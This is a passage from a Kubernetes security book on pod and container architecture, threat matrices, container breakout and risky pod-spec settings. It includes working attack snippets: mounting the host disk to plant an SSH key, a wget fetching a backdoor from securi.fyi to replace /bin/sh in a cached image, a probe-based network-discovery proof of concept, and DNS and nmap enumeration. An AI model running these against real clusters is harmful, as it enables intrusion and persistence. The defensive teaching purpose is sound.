Capabilities are individual switches for “special” root user operations such as changing any file’s permissions, loading modules into the kernel, accessing devices in raw mode (e.g., networks and I/O), BPF and performance monitoring, and every other operation.

The root user has all capabilities, and capabilities can be granted to any process or user (“ambient capabilities”). Excess capability grants may lead to container breakout, as we see later in this chapter.

In Kubernetes, a newly created container is added to the pod by the container runtime, where it shares network and interprocess communication namespaces between pod containers.

Figure 2-5
shows a kubelet
running four individual pods on a single node.

The container
is the first line of defense against an adversary, and container images should be scanned for

CVEs before being run. This simple step reduces the risk of running an outdated or malicious container and informs your risk-based deployment decisions: do you ship to production, or is there an exploitable CVE that needs patching first?

Figure 2-5.
Example pods on a node (source: Kubernetes documentation
)

Tip

“Official” container images in public registries have a greater likelihood of being up to date and well-patched, and Docker Hub

signs all official images with Notary, as we’ll see in Chapter 4
.

Public container registries often host malicious images, so detecting them before production is essential. Figure 2-6
shows how this might happen.

The kubelet
attaches pods to a

Container Network Interface (CNI). CNI network traffic is treated as layer 4 TCP/IP (although the underlying network technology used by the CNI plug-in may differ), and encryption is the job of the CNI plug-in, the application, a service mesh, or at a minimum, the underlay networking between the nodes. If traffic is unencrypted, it may be sniffed by a compromised pod or node.

Figure 2-6.
Poisoning a public container registry

Warning

Although starting a malicious container under a correctly configured container runtime is usually safe, there have been attacks against the container bootstrap phase. We examine the
/proc/self/exe

breakout CVE-2019-5736 later in this chapter.

Pods can also have

storage attached by Kubernetes, using the (Container Storage Interface (CSI)
), which

includes the PersistentVolumeClaim and StorageClass shown in Figure 2-7
. In Chapter 6
we will get deeper into the storage aspects.

In Figure 2-7
you can see a view of the
control plane and the API server’s

central role in the cluster. The API server is responsible for interacting with the cluster datastore (etcd
), hosting the cluster’s extensible API surface, and managing the kubelet
s. If the API server or etcd
instance is compromised, the attacker has complete control of the cluster: these are the most sensitive parts of the system.

Figure 2-7.
Cluster example 2 (source: Tsuyoshi Ushio
)

Warning

Vulnerabilities have been

found in many storage drivers, including CVE-2018-11235, which exposed a

Git attack on the gitrepo
storage volume, and CVE-2017-1002101, a subpath volume mount mishandling error. We will cover these in Chapter 6
.

For performance in larger clusters, the control plane should run on separate infrastructure to etcd
, which requires high disk and network I/O to support reasonable response times for its distributed consensus algorithm, Raft
.

As the API server is the etcd
cluster’s only client, compromise of either effectively roots the cluster: due to the asynchronous scheduling, in Kubernetes the injection of malicious, unscheduled pods into etcd
will trigger their scheduling to a kubelet
.

As with all fast-moving software, there have been
vulnerabilities in most parts of the Kubernetes stack. The only solution to running modern software is a healthy continuous integration infrastructure capable of promptly redeploying vulnerable clusters upon a vulnerability announcement.

Understanding Containers

Okay, so we have a high-level
view of a cluster. But at a low level, what is a “container”? It is a microcosm of
Linux that gives a process the illusion of a dedicated kernel, network, and userspace. Software trickery fools the process inside your container into believing it is the only process running on the host machine. This is useful for isolation and migration of your existing workloads into Kubernetes.

Note

As Christian Brauner
and Stéphane Graber
like to say
“(Linux) containers are a userspace fiction,” a collection of configurations that present an illusion of isolation to a process inside. Containers emerged from the primordial kernel soup, a child of evolution rather than intelligent design that has been morphed, refined, and coerced into shape so that we now have something usable.

Containers don’t exist as a single API, library, or kernel feature. They are merely the resultant bundling and isolation that’s left over once the kernel has started a collection of namespaces, configured some cgroups
and capabilities, added Linux Security Modules like AppArmor and SELinux, and started our precious little process inside.

A container is a process in a special environment with some combination of namespaces either enabled or shared with the host (or other containers). The process comes from a
container image, a TAR file containing the container’s root filesystem, its application(s), and any dependencies. When the image is unpacked into a directory on the host and a special filesystem “pivot root” is created, a “container” is constructed around it, and its ENTRYPOINT
is run from the filesystem within the container. This is roughly how a container starts, and each container in a pod must go through this process.

Container security
has two parts: the contents of the container image, and its runtime configuration and security context. An abstract risk rating of a container can be derived from the number of security primitives it enables and uses safely, avoiding host namespaces, limiting resource use with cgroups
, dropping unneeded capabilities, tightening security module configuration for the process’s usage pattern, and minimizing process and filesystem ownership and contents. Kubesec.io
rates
a pod configuration’s security on how well it enables these features at runtime.

When the kernel

detects a network namespace is empty, it will destroy the namespace, removing any IPs allocated to network adapters in it. For a pod with only a single container to hold the network namespace’s IP allocation, a crashed and restarting container would have a new network namespace created and so have a new IP assigned. This rapid churn of IPs would create unnecessary noise for your operators and security monitoring. Kubernetes uses the so-called pause container (see also “Intra-Pod Networking”
), to hold the pod’s shared network namespace open in the event of a crash-looping tenant container. From inside a worker node, the companion pause container in each pod looks as follows:

andy@k8s-node-x:~ [0]$ docker ps --format '{{.Image}} {{.Names}}' |
grep "sublimino-"
busybox k8s_alpine_sublimino-frontend-5cc74f44b8-4z86v_default-0
k8s.gcr.io/pause:3.3 k8s_POD_sublimino-frontend-5cc74f44b8-4z86v-1
...
busybox k8s_alpine_sublimino-microservice-755d97b46b-xqrw9_default_0
k8s.gcr.io/pause:3.3 k8s_POD_sublimino-microservice-755d97b46b-xqrw9_default_1
...
busybox k8s_alpine_sublimino-frontend-5cc74f44b8-hnxz5_default_0
k8s.gcr.io/pause:3.3 k8s_POD_sublimino-frontend-5cc74f44b8-hnxz5_default_1

This pause container is invisible via the Kubernetes API, but visible to the container runtime on the worker
node.

Note

CRI-O dispenses with the pause container (unless absolutely necessary) by pinning namespaces, as described in the KubeCon talk “CRI-O: Look Ma, No Pause”
.

Sharing Network and Storage

A group of containers

in a pod share a network namespace, so all your containers’ ports are available on the same network adapter to every container in the pod. This gives an attacker in one container of the pod a chance to attack private sockets available on any network interface, including the loopback adapter 127.0.0.1
.

Tip

We examine these concepts in greater detail in Chapters 5
and 6
.

Each container runs in a root filesystem from its container image that is not shared between containers. Volumes must be mounted into each container in the pod configuration,
but a pod’s volumes may be available to all containers if configured that way, as you saw in Figure 2-4
.

Figure 2-8
shows some of the paths inside a container workload that an attacker may be interested in (note the user
and time
namespaces are not currently in use).

Figure 2-8.
Namespaces wrapping the containers in a pod (inspired by Ian Lewis
)

Note

User namespaces
are the ultimate kernel security frontier, and are generally not enabled due to historically being likely entry points for kernel attacks: everything in Linux is a file, and user namespace implementation cuts across the whole kernel, making it more difficult to secure than other namespaces.

The special virtual filesystems listed here are all possible paths of breakout if misconfigured and accessible inside the container: /dev
may give access to the host’s devices, /proc
can leak process information, or /sys
supports functionality like launching new

containers.

What’s the Worst That Could Happen?

A CISO is responsible

for the organization’s security. Your role as a CISO means you should consider worst-case scenarios, to ensure that you have appropriate defenses and mitigations in place. Attack trees help to model these negative outcomes, and one of the data sources you can use is the threat matrix
as shown in Figure 2-9
.

Figure 2-9.
Microsoft Kubernetes threat matrix; source: “Secure Containerized Environments with Updated Threat Matrix for Kubernetes”

But there are some threats missing, and the community has added some (thanks to Alcide, and Brad Geesaman
and Ian Coldwater
again), as shown in Table 2-1
.

Table 2-1.
Our enhanced Microsoft Kubernetes threat matrix

Initial access (popping a shell pt 1 - prep)

Execution (popping a shell pt 2 - exec)

Persistence (keeping the shell)

Privilege escalation (container breakout)

Defense evasion (assuming no IDS)

Credential access (juicy creds)

Discovery (enumerate possible pivots)

Lateral movement (pivot)

Command & control (C2 methods)

Impact (dangers)

Using cloud credentials: service account keys, impersonation

Exec into container (bypass admission control policy)

Backdoor container (add a reverse shell to local or container registry image)

Privileged container (legitimate escalation to host)

Clear container logs (covering tracks after host breakout)

List K8s Secrets

List K8s API server (nmap, curl)

Access cloud resources (workload identity and cloud integrations)

Dynamic resolution (DNS tunneling)

Data destruction (datastores, files, NAS, ransomware…)

Compromised images in registry (supply chain unpatched or malicious)

BASH/CMD inside container (implant or trojan, RCE/reverse shell, malware, C2, DNS tunneling)

Writable host path mount (host mount breakout)

Cluster admin role binding (untested RBAC)

Delete K8s events (covering tracks after host breakout)

Mount service principal (Azure specific)

Access kubelet
API

Container service account (API server)

App protocols (L7 protocols, TLS, …)

Resource hijacking (cryptojacking, malware C2/distribution, open relays, botnet membership)

Application vulnerability (supply chain unpatched or malicious)

Start new container (with malicious payload: persistence, enumeration, observation, escalation)

K8s CronJob (reverse shell on a timer)

Access cloud resources (metadata attack via workload identity)

Connect from proxy server (to cover source IP, external to cluster)

Applications credentials in config files (key material)

Access K8s dashboard (UI requires service account credentials)

Cluster internal networking (attack neighboring pods or systems)

Botnet (k3d, or traditional)

Application DoS

kubeconfig file (exfiltrated, or uploaded to the wrong place)

Application exploit (RCE)

Static pods (reverse shell, shadow API server to read audit-log-only headers)

Pod hostPath
mount (logs to container breakout)

Pod/container name similarity (visual evasion, CronJob attack)

Access container service account (RBAC lateral jumps)

Network mapping (nmap, curl)

Access container service account (RBAC lateral jumps)

Node scheduling DoS

Compromise user endpoint (2FA and federating auth mitigate)

SSH server inside container (bad practice)

Injected sidecar containers (malicious mutating webhook)

Node to cluster escalation (stolen credentials, node label rebinding attack)

Dynamic resolution (DNS) (DNS tunneling/exfiltration)

Compromise admission controllers

Instance metadata API (workload identity)

Host writable volume mounts

Service discovery DoS

K8s API server vulnerability (needs CVE and unpatched API server)

Container lifecycle hooks (postStart
and preStop
events in pod YAML)

Rewrite container lifecycle hooks (postStart
and preStop
events in pod YAML)

Control plane to cloud escalation (keys in Secrets, cloud or control plane credentials)

Shadow admission control or API server

Compromise K8s Operator (sensitive RBAC)

Access K8s dashboard

PII or IP exfiltration (cluster or cloud datastores, local accounts)

Compromised host (credentials leak/stuffing, unpatched services, supply chain compromise)

Rewrite liveness probes (exec into and reverse shell in container)

Compromise admission controller (reconfigure and bypass to allow blocked image with flag)

Access host filesystem (host mounts)

Access tiller endpoint (Helm v3 negates this)

Container pull rate limit DoS (container registry)

Compromised etcd
(missing auth)

Shadow admission control or API server (privileged RBAC, reverse shell)

Compromise K8s Operator (compromise flux and read any Secrets)

Access K8s Operator

SOC/SIEM DoS (event/audit/log rate limit)

K3d botnet (secondary cluster running on compromised nodes)

Container breakout (kernel or runtime vulnerability e.g., DirtyCOW, `/proc/self/exe`, eBPF verifier bugs, Netfilter)

We’ll explore these threats in detail as we progress through the book. But the first threat, and the greatest risk to the isolation model of our systems, is an attacker breaking out of the container

itself.

Container Breakout

A cluster admin’s worst fear is a container breakout; that is, a user or process inside a container

that can run code outside of the container’s execution environment.

Note

Speaking strictly, a container breakout should exploit the kernel, attacking the code a container is supposed to be constrained by. In the authors’ opinion, any avoidance of isolation mechanisms breaks the contract the container’s maintainer or operator thought they had with the process(es) inside. This means it should be considered equally threatening to the security of the host system and its data, so we define container breakout to include any evasion of isolation.

Container breakouts may occur in various ways:

- An exploit
including against
the kernel, network or storage stack, or container runtime

- A pivot
such as
attacking exposed local, cloud, or network services, or escalating privilege and abusing discovered or inherited credentials

- A misconfiguration
that
allows an attacker an easier or legitimate path to exploit or pivot (this is the most likely way)

If the running process is owned by an unprivileged user (that is, one with no root capabilities), many breakouts are not possible. In that case the process or user must gain capabilities with a local privilege escalation
inside the container before attempting to break out.

Once this is achieved, a breakout may start with a hostile root-owned process running in a poorly configured container. Access to the root user’s capabilities within a container is the precursor to most escapes: without root (and sometimes CAP_SYS_ADMIN
), many breakouts are nullified.

Tip

The securityContext
and LSM configurations

are vital to constrain unexpected activity from

zero-day vulnerabilities, or supply chain attacks (library code loaded into the container and exploited automatically at runtime).

You can define the active user, group, and filesystem group (set on mounted volumes for readability, gated by fsGroupChangePolicy
) in your workloads’ security contexts, and enforce it with admission control (see Chapter 8
), as this example from the docs
shows:

apiVersion

:

v1

kind

:

Pod

metadata

:

name

:

security-context-demo

spec

:

securityContext

:

runAsUser

:

1000

runAsGroup

:

3000

fsGroup

:

2000

containers

:

-

name

:

sec-ctx-demo

# ...

securityContext

:

allowPrivilegeEscalation

:

false

# ...

In a container breakout scenario, if the user is root inside the container or has mount capabilities (granted by default under CAP_SYS_ADMIN
, which root is granted unless dropped), they can interact with virtual and physical disks mounted into the container. If the container is privileged (which among other things disables masking of kernel paths in /dev
), it can see and mount the host filesystem:

# inside a privileged container

root@hack:~ [

0]

$

ls -lasp /dev/
root@hack:~ [

0]

$

mount /dev/xvda1 /mnt/

# write into host filesystem's /root/.ssh/ folder

root@hack:~ [

0]

$

cat MY_PUB_KEY >> /mnt/root/.ssh/authorized_keys

We look at nsenter
privileged container breakouts, which escape more elegantly by entering the host’s namespaces, in Chapter 6
.

While you should
prevent this attack easily by avoiding the root user and privilege mode, and enforcing that with admission control, it’s an indication of just how slim the container security boundary can be if misconfigured.

Warning

An attacker controlling a containerized process may have control of the networking, some or all of the storage, and potentially other containers in the pod. Containers generally assume other containers in the pod are friendly as they share resources, and we can consider the pod as a trust boundary for the processes inside. Init containers are an exception: they complete and shut down before the main containers in the pod start, and as they operate in isolation may have more security sensitivity.

The container

and pod isolation model relies on the Linux kernel and container runtime, both of which are generally robust when not misconfigured. Container breakout occurs more often through insecure configuration than kernel exploit, although zero-day kernel vulnerabilities are inevitably devastating to Linux systems without correctly configured LSMs (such as SELinux and AppArmor).

Note

In “Architecting Containerized Apps for Resilience”
we explore how the Linux DirtyCOW vulnerability could be used to break out of insecurely configured containers.

Container escape is rarely plain sailing, and any fresh vulnerabilities are often patched shortly after disclosure. Only occasionally does a kernel vulnerability result in an exploitable container breakout, and the opportunity to harden individually containerized processes with LSMs enables defenders to tightly constrain high-risk network-facing processes; it may entail one or more of:

- Finding a zero-day in the runtime or kernel

- Exploiting excess privilege and escaping using legitimate commands

- Evading misconfigured kernel security mechanisms

- Introspection of other processes or filesystems for alternate escape routes

- Sniffing network traffic for credentials

- Attacking the underlying orchestrator or cloud
environment

Warning

Vulnerabilities in the

underlying physical hardware often can’t be defended against in a container. For example, Spectre
and
Meltdown

(CPU speculative execution attacks), and rowhammer
,
TRRespass

, and SPOILER
(DRAM memory attacks) bypass container isolation mechanisms as they cannot intercept the entire instruction stream that a CPU processes. Hypervisors suffer the same lack of possible protection.

Finding new kernel attacks is hard. Misconfigured security settings, exploiting published CVEs, and social engineering attacks are easier. But it’s important to understand the range of potential threats in order to decide your own risk tolerance.

We’ll go through a step-by-step security feature exploration to see a range of ways in which your systems may be attacked in Appendix A
.

For more information
on how the Kubernetes project manages CVEs, see Anne Bertucio and CJ Cullen’s blog post, “Exploring Container Security: Vulnerability Management in Open-Source Kubernetes”
.

Pod Configuration and Threats

We’ve spoken

generally about various parts of a pod, so let’s finish off by going into depth on a pod spec to call out any gotchas or potential footguns.

Warning

In order to secure a pod or container, the container runtime should be minimally viably secure; that is, not hosting sockets to unauthenticated connections (e.g., Docker’s /var/run/docker.sock
and tcp://127.0.0.1:2375
) as it leads to host takeover
.

For the purpose of this example, we are using a frontend
pod from the
GoogleCloudPlatform/microservices-demo
application
, and it was deployed with the following command:

kubectl create -f \

"https://raw.githubusercontent.com/GoogleCloudPlatform/\

microservices-demo/master/release/kubernetes-manifests.yaml"

We have updated and added some extra configuration where relevant for demonstration purposes and will progress through these in the following sections.

Pod Header

The pod

header is the standard header of all Kubernetes resources we know and love, defining the type of entity this YAML defines, and its version:

apiVersion

:

v1

kind

:

Pod

Metadata

and annotations may contain sensitive information like IP addresses or security hints (in this case, for Istio), although this is only useful if the attacker has read-only access:

metadata

:

annotations

:

seccomp.security.alpha.kubernetes.io/pod

:

runtime/default

cni.projectcalico.org/podIP

:

192.168.155.130/32

cni.projectcalico.org/podIPs

:

192.168.155.130/32

sidecar.istio.io/rewriteAppHTTPProbers

:

"true"

It also historically holds the seccomp
, AppArmor
, and SELinux
policies:

metadata

:

annotations

:

container.apparmor.security.beta.kubernetes.io/hello

:

"localhost/\

k8s-apparmor-example-deny-write"

We look at how to use these annotations in “Runtime Policies”
.

Note

After many years in

limbo, seccomp
in Kubernetes progressed to General Availability in v1.19
.

This changes the syntax
from an annotation to a securityContext
entry:

securityContext

:

seccompProfile

:

type

:

Localhost

localhostProfile

:

my-seccomp-profile.json

The Kubernetes Security Profiles Operator
(SPO)

can install seccomp
profiles on your nodes (a prerequisite to their use by the container runtime), and record new profiles from workloads in the cluster with oci-seccomp-bpf-hook
.

The SPO also supports
SELinux via selinuxd
, with plenty of details in this blog post
.

AppArmor
is still in beta but annotations will be replaced with first-class fields like seccomp
once it graduates to GA.

Let’s move on to a part of the pod spec that is not writable by the client but contains some important

hints.

Reverse Uptime

When you dump

a pod spec from the API server (using, for example, kubectl get

-o yaml
)
it includes the pod’s start time:

creationTimestamp

:

"2021-05-29T11:20:53Z"

Pods running for longer than a week or two are likely to be at higher risk of unpatched bugs. Sensitive workloads running for more than 30 days will be safer if they’re rebuilt in CI/CD to account for library or operating system patches.

Pipeline scanning

the existing container image offline for CVEs can be used to inform rebuilds. The safest approach is to combine both: “repave” (that is, rebuild and redeploy containers) regularly, and rebuild through the CI/CD pipelines whenever a

CVE is detected.

Labels

Labels in

Kubernetes are not validated or strongly typed; they are metadata. But labels are targeted by things like services and controllers using selectors for referencing, and are also used for security features such as network policy. This makes them security-sensitive and easily susceptible to misconfiguration:

labels

:

app

:

frontend

type

:

redis

Typos in labels mean they do not match the intended selectors, and so can inadvertently introduce security issues such as:

- Exclusions from expected network policy or admission control policy

- Unexpected routing from service target selectors

- Rogue pods that are not accurately targeted by operators or observability tooling

Managed Fields

Managed

fields were introduced in v1.18 and support server-side apply
. They
duplicate information from elsewhere in the pod spec but are of limited interest to us as we can read the entire spec from the API server. They look like this:

managedFields

:

-

apiVersion

:

v1

fieldsType

:

FieldsV1

fieldsV1

:

f:metadata

:

f:annotations

:

.

:

{}

f:sidecar.istio.io/rewriteAppHTTPProbers

:

{}

# ...

f:spec

:

f:containers

:

k:{"name":"server"}

:

# ...

f:image

:

{}

f:imagePullPolicy

:

{}

f:livenessProbe

:

# ...

Pod Namespace and Owner

We know the pod’s name and namespace

from the API request we made to retrieve it.

If we used --all-namespaces
to return all pod configurations, this shows us the namespace:

name

:

frontend-6b887d8db5-xhkmw

namespace

:

default

From within a pod it’s possible to infer the current
namespace from the DNS resolver configuration in /etc/resolv.conf
(which is secret-namespace
in this example):

$

grep -o "search [^ ]*"

/etc/resolv.conf
search secret-namespace.svc.cluster.local

Other less-robust options include the mounted service account (assuming it’s in the same namespace, which it may not be), or the cluster’s DNS resolver (if you can enumerate or scrape it).

Environment Variables

Now we’re getting

into interesting configuration. We want to see the environment variables in a pod, partially because they may leak secret information (which should have been mounted as a file), and also because they may list which other services are available in the namespace and so suggest other network routes and applications to attack.

Warning

Passwords set

in deployment and pod YAML are visible to the operator that deploys the YAML, the process at runtime and any other processes that can read its environment, and to anybody that can read from the Kubernetes or kubelet
APIs.

Here we see the

container’s PORT
(which is good practice and required by applications running in Knative, Google Cloud Run, and some other systems), the DNS names and ports of its coordinating services, some badly set database config and credentials, and finally a sensibly referenced Secret file:

spec

:

containers

:

-

env

:

-

name

:

PORT

value

:

"8080"

-

name

:

CURRENCY_SERVICE_ADDR

value

:

currencyservice:7000

-

name

:

SHIPPING_SERVICE_ADDR

value

:

shippingservice:50051

# These environment variables should be set in secrets

-

name

:

DATABASE_ADDR

value

:

postgres:5432

-

name

:

DATABASE_USER

value

:

secret_user_name

-

name

:

DATABASE_PASSWORD

value

:

the_secret_password

-

name

:

DATABASE_NAME

value

:

users

# This is a safer way to reference secrets and configuration

-

name

:

MY_SECRET_FILE

value

:

/mnt/secrets/foo.toml

That wasn’t too bad, right? Let’s move on to container images.

Container Images

The container image’s filesystem

is of paramount importance, as it may hold vulnerabilities that assist in privilege escalation. If you’re not patching regularly, Captain Hashjack might get the same image from a
public registry to scan it for vulnerabilities they may be able to exploit. Knowing what binaries and files are available also enables attack
planning “offline,” so adversaries can be more stealthy and targeted when attacking the live system.

Tip

The OCI registry
specification allows arbitrary
image layer storage: it’s a two-step process and the first step uploads the manifest, with the second uploading the blob. If an attacker only performs the second step they gain free arbitrary blob storage.

Most registries don’t index this automatically (with Harbour being the exception), and so they will store the “orphaned” layers forever, potentially hidden from view until manually garbage collected.

Here we see an image referenced by
label, which means we can’t tell what the actual SHA256 hash digest of the container image is. The container tag could have been updated since this deployment as it’s not referenced by digest:

image

:

gcr.io/google-samples/microservices-demo/frontend:v0.2.3

Instead of using image tags, we can use the SHA256 image digests to pull the image by its content address:

image

:

gcr.io/google-samples/microservices-demo/frontend@sha256:ca5d97b6cec...

Images should always be referenced by
SHA256 or use signed tags; otherwise, it’s impossible to know what’s running as the label may have been updated in the registry since the container start. You can validate what’s being run by inspecting the running container for its image’s SHA256.

It’s possible to specify both a tag and an SHA256 digest in a Kubernetes image:
key,
in which case the tag is ignored and the image is retrieved by digest. This leads to potentially confusing image definitions including a tag and SHA256 such as the following being retrieved as the image matching the SHA rather than the tag:

controlplane/bizcard:latest\

@sha256:649f3a84b95ee84c86d70d50f42c6d43ce98099c927f49542c1eb85093953875

Container name, plus the ignored “latest” tag

Image SHA256, which overrides the “latest” tag defined in the previous line

being retrieved as the image matching the SHA rather than the tag.

If an attacker can influence the local kubelet
image
cache, they can add malicious code to an image and relabel it on the worker node (note: to run this again, don’t forget to remove the cidfile
):

$

docker

run

-it

--cidfile

=

cidfile

--entrypoint

/bin/busybox

\

gcr.io/google-samples/microservices-demo/frontend:v0.2.3

\

wget

https://securi.fyi/b4shd00r

-O

/bin/sh

$

docker

commit

$(

<

cidfile

)

\

gcr.io/google-samples/microservices-demo/frontend:v0.2.3

Load a malicious shell backdoor and overwrite the container’s default command (/bin/sh
).

Commit the changed container using the same.

While the compromise of a local registry cache may lead to this attack, container cache access probably comes by rooting the node, and so this may be the least of your worries.

Note

The image pull policy of Always
has

a performance drawback in highly dynamic, “autoscaling from zero” environments such as Knative. When startup times are crucial, a potentially multisecond imagePullPolicy
latency is unacceptable and image digests must be used.

This attack on a local image cache can be mitigated with an image pull policy of Always
, which will ensure the local tag matches what’s defined in the registry it’s pulled from. This is important and you should always be mindful of this setting:

imagePullPolicy

:

Always

Typos in
container image names, or registry names, will deploy unexpected code if an adversary has “typosquatted” the image with a malicious container.

This can be difficult to detect when only a single character changes—for example, controlplan/hack
instead of controlplane/hack
. Tools like Notary protect against this by checking for valid signatures from trusted parties. If a TLS-intercepting middleware box intercepts and rewrites an image tag, a spoofed image may be deployed.

Again, TUF and Notary side-channel signing mitigates against this, as do other container signing approaches like cosign
, as discussed

in Chapter 4
.

Pod Probes

Your liveness

probes should be tuned to your application’s performance characteristics, and used to keep them alive in the stormy waters of your production environment. Probes inform Kubernetes if the application is incapable of fulfilling its specified purpose, perhaps through a crash or external system failure.

The Kubernetes audit finding TOB-K8S-024
shows probes can be subverted by an attacker
with the ability to schedule pods: without changing the pod’s command
or args
they have the power to make network requests and execute commands within the target container. This yields local network discovery to an attacker as the probes are executed by the kubelet
on the host networking interface, and not from within the pod.

A host
header
can be used here to enumerate the local network. The proof of concept exploit is as follows:

apiVersion

:

v1

kind

:

Pod

# ...

livenessProbe

:

httpGet

:

host

:

172.31.6.71

path

:

/

port

:

8000

httpHeaders

:

-

name

:

Custom-Header

value

:

Awesome

CPU and Memory Limits and Requests

Resource

limits and requests which manage the pod’s cgroups
prevent the exhaustion of finite memory and compute resources on the kubelet
host, and defend from
fork bombs and runaway
processes. Networking
bandwidth limits are not supported in the pod spec, but may be supported by your CNI implementation.

cgroups
are a useful resource constraint. cgroups
v2 offers more protection, but cgroups
v1 are not a security boundary and they can be escaped easily
.

Limits restrict the potential
cryptomining or resource exhaustion that a malicious container
can execute. It also stops the host becoming overwhelmed by bad
deployments.
It has limited effectiveness against an adversary looking to further exploit the system unless they need to use a memory-hungry attack:

resources

:

limits

:

cpu

:

200m

memory

:

128Mi

requests

:

cpu

:

100m

memory

:

64Mi

DNS

By default Kubernetes DNS
servers provide all records for services across the cluster, preventing namespace segregation unless deployed individually per-namespace or domain.

Tip

CoreDNS supports

policy plug-ins, including OPA, to restrict access to DNS records and defeat the following enumeration attacks.

The default Kubernetes CoreDNS
installation leaks information about its services, and offers an attacker a view of all possible network endpoints (see Figure 2-10
). Of course they may not all be accessible due to a network policy in place, as we will see in “Traffic Flow Control”
.

DNS enumeration

can be performed against a default, unrestricted CoreDNS installation. To retrieve all services in the cluster namespace (output edited to fit):

root@hack-3-fc58fe02:/ [0]# dig +noall +answer \

srv any.any.svc.cluster.local |

sort --human-numeric-sort --key 7

any.any.svc.cluster.local. 30 IN SRV 0 6 53 kube-dns.kube-system.svc.cluster...

any.any.svc.cluster.local. 30 IN SRV 0 6 80 frontend-external.default.svc.clu...

any.any.svc.cluster.local. 30 IN SRV 0 6 80 frontend.default.svc.cluster.local.

...

Figure 2-10.
The wisdom of Rory McCune on the difficulties of hard multitenancy

For all service endpoints
and names do the following (output edited to fit):

root@hack-3-fc58fe02:/ [0]# dig +noall +answer \

srv any.any.any.svc.cluster.local |

sort --human-numeric-sort --key 7

any.any.any.svc.cluster.local. 30 IN SRV 0 3 53 192-168-155-129.kube-dns.kube...

any.any.any.svc.cluster.local. 30 IN SRV 0 3 53 192-168-156-130.kube-dns.kube...

any.any.any.svc.cluster.local. 30 IN SRV 0 3 3550 192-168-156-133.productcata...

...

To return an IPv4 address
based on the query:

root@hack-3-fc58fe02:/ [0]# dig +noall +answer 1-3-3-7.default.pod.cluster.local

1-3-3-7.default.pod.cluster.local. 23 IN A 1.3.3.7

The Kubernetes API server service IP information is mounted into the pod’s environment by default:

root@test-pd:~ [0]# env | grep KUBE
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT_443_TCP=tcp://10.7.240.1:443
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.7.240.1
KUBERNETES_SERVICE_HOST=10.7.240.1
KUBERNETES_PORT=tcp://10.7.240.1:443
KUBERNETES_PORT_443_TCP_PORT=443

root@test-pd:~ [0]# curl -k \
https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}/version

{
"major": "1",
"minor": "19+",
"gitVersion": "v1.19.9-gke.1900",
"gitCommit": "008fd38bf3dc201bebdd4fe26edf9bf87478309a",
# ...

The response matches the API server’s /version
endpoint.

Tip

You can detect Kubernetes API

servers with this nmap script
and the following function:

nmap-kube-apiserver()

{

local

REGEX

=

"major.*gitVersion.*buildDate"

local

ARGS

=

"

${

@

:-$(

kubectl config view --minify |

awk '/server:/{print $2}'

|

sed -E -e 's,^https?://,,'

-e 's,:, -p ,g'

)

}

"

nmap \

--open \

--script=

http-get \

--script-args "\

http-get.path=/version, \

http-get.match="

${

REGEX

}

", \

http-get.showResponse, \

http-get.forceTls \

"

\

${

ARGS

}

}

Next up is an important runtime policy piece: the securityContext, initially introduced by

Red Hat.

Pod securityContext

This pod is running

with an empty securityContext
,

which means that without admission controllers mutating the configuration at deployment time, the container can run a root-owned process and has all capabilities available to it:

securityContext

:

{}

Exploiting the capability landscape involves an understanding of the kernel’s flags, and Stefano Lanaro’s guide
provides a comprehensive overview.

Different capabilities
may have particular impact on a system, and CAP_SYS_ADMIN
and CAP_BPF
are particularly enticing to an attacker. Notable capabilities you should be cautious about granting include:

CAP_DAC_OVERRIDE
, CAP_CHOWN
, CAP_DAC_READ_SEARCH
, CAP_FORMER
, CAP_SETFCAP

Bypass
filesystem permissions

CAP_SETUID
, CAP_SETGID

Become the root user

CAP_NET_RAW

Read network traffic

CAP_SYS_ADMIN

Filesystem mount permission

CAP_SYS_PTRACE

All-powerful debugging of other processes

CAP_SYS_MODULE

Load kernel modules to bypass controls

CAP_PERFMON
, CAP_BPF

Access deep-hooking BPF systems

These are the precursors for many
container breakouts. As Brad Geesaman
points out in Figure 2-11
, processes want to be free! And an adversary will take advantage of anything within the pod they can use to escape.

Figure 2-11.
Brad Geesaman’s evocative container freedom cry

Note

CAP_NET_RAW
is enabled

by default in runc
, and enables UDP (which bypasses TCP service meshes like Istio), ICMP messages, and ARP poisoning attacks. Aqua found DNS poisoning attacks
against Kubernetes DNS, and the net.ipv4.ping_group_range
sysctl
flag means it should be dropped when needed for ICMP
.

These are some
container breakouts requiring root
and/or CAP_SYS_ADMIN
, CAP_NET_RAW
, CAP_BPF
, or CAP_SYS_MODULE
to function:

- Subpath volume mount traversal and /proc/self/exe
(both described in Chapter 6
).

- CVE-2016-5195
is a read-only memory copy-on-write race condition, aka DirtyCow, and detailed in “Architecting Containerized Apps for Resilience”
.

- CVE-2020-14386
is an unprivileged memory corruption bug that requires CAP_NET_RAW
.

- CVE-2021-30465
, runc
mount destinations symlink-exchange swap to mount outside the rootfs
, limited by use of unprivileged user.

- CVE-2021-22555
is a Netfilter
heap

out-of-bounds write that requires CAP_NET_RAW
.

- CVE-2021-31440
is eBPF
out-of-bounds access to the Linux kernel requiring root or CAP_BPF
, and CAPS_SYS_MODULE
.

- @andreyknvl
kernel bugs and
core_pattern
escape
.

When there’s no breakout, root capabilities are still required for a number of other attacks, such as CVE-2020-10749
which are Kubernetes CNI plug-in person-in-the-middle (PitM) attacks via IPv6 rogue router advertisements.

Tip

The excellent
“A Compendium of Container Escapes”
goes into more detail on some of these attacks.

We enumerate the options available in a securityContext
for a pod to defend itself from hostile

containers in “Runtime Policies”
.

Pod Service Accounts

Service Accounts

are JSON Web Tokens (JWTs)

and are used by a pod for authentication and authorization to the API server. The default service account shouldn’t be given any permissions, and by default comes with no authorization.

A pod’s serviceAccount
configuration defines its access privileges with the API server; see “Service accounts”
for the details. The service account is mounted into all pod replicas, and which share the single “workload identity”:

serviceAccount

:

default

serviceAccountName

:

default

Segregating duty in this way reduces the blast radius if a pod is compromised: limiting an attacker post-intrusion is a primary goal of policy controls.

Scheduler and Tolerations

The scheduler

is responsible for allocating a pod workload to a node. It looks as follows:

schedulerName

:

default-scheduler

tolerations

:

-

effect

:

NoExecute

key

:

node.kubernetes.io/not-ready

operator

:

Exists

tolerationSeconds

:

300

-

effect

:

NoExecute

key

:

node.kubernetes.io/unreachable

operator

:

Exists

tolerationSeconds

:

300

